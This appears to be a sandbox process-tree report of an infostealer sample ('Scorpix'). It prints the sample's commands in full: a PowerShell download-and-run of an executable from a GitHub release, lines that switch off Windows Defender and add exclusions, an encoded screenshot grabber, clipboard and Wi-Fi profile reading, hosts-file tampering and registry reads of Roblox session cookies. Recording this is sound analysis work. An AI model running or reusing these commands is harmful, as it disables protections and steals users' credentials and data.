    PID:6344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:6516
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:6588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6824
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Release of V3\Scorpix-V2.bat" "
1⤵
PID:7020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/booyaskas/Scorpoxe/releases/download/vypix/Scorpix.exe';$file='Scorpix.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:7080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Release of V3\Scorpix-V2.bat" "
1⤵
PID:7304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/booyaskas/Scorpoxe/releases/download/vypix/Scorpix.exe';$file='Scorpix.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:7360
- - C:\Users\Admin\Desktop\Release of V3\Scorpix.exe
    "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe"
    3⤵
    - Executes dropped EXE
    PID:7708
  - - C:\Users\Admin\Desktop\Release of V3\Scorpix.exe
      "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      PID:5616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Release of V3\Scorpix.exe'"
        5⤵
        
        PID:5656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Release of V3\Scorpix.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7844
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:5152
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        5⤵
        
        PID:7824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        5⤵
        
        PID:7732
      - C:\Users\Admin\AppData\Local\Temp\bound.exe
        
        bound.exe
        6⤵
        Executes dropped EXE
        
        PID:8164
        
        C:\Users\Admin\AppData\Local\Temp\bound.exe
        
        bound.exe
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:7600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        8⤵
        
        PID:7620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        
        PID:6264
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        
        PID:6512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        8⤵
        
        PID:6428
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        9⤵
        Detects videocard installed
        
        PID:6344
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Injected', 0, 'Message', 48+16);close()""
        5⤵
        
        PID:7776
      - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Injected', 0, 'Message', 48+16);close()"
        6⤵
        
        PID:432
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:7812
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5004
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:8068
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:4884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        5⤵
        
        PID:3844
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        6⤵
        
        PID:5300
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        5⤵
        
        PID:3056
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        6⤵
        
        PID:6616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:6828
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:7324
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:7628
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:4324
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe""
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:7364
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe"
        6⤵
        Views/modifies file attributes
        
        PID:7328
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    .scr'"
        5⤵
        
        PID:7464
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    .scr'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7312
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4484
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5264
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5280
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:4784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:7816
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        
        PID:5968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:7976
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:3900
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:8068
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5700
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:1500
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:1104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1880
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3460
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:4904
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:3856
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        5⤵
        
        PID:5572
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        6⤵
        
        PID:412
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:4920
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1784
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l225zjtv\l225zjtv.cmdline"
        7⤵
        
        PID:548
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD21D.tmp" "c:\Users\Admin\AppData\Local\Temp\l225zjtv\CSCEEAEC3D989F445BFBCFCB729EFEDD1DF.TMP"
        8⤵
        
        PID:5728
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:4924
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:3828
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4492
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:1872
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:536
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5460
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5464
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:3060
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:6056
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:6180
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:6204
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:6212
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:6192
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:6240
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:6340
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:6568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:688
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3448
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:4492
      - C:\Windows\system32\getmac.exe
        
        getmac
        6⤵
        
        PID:3188
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:5256
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5464
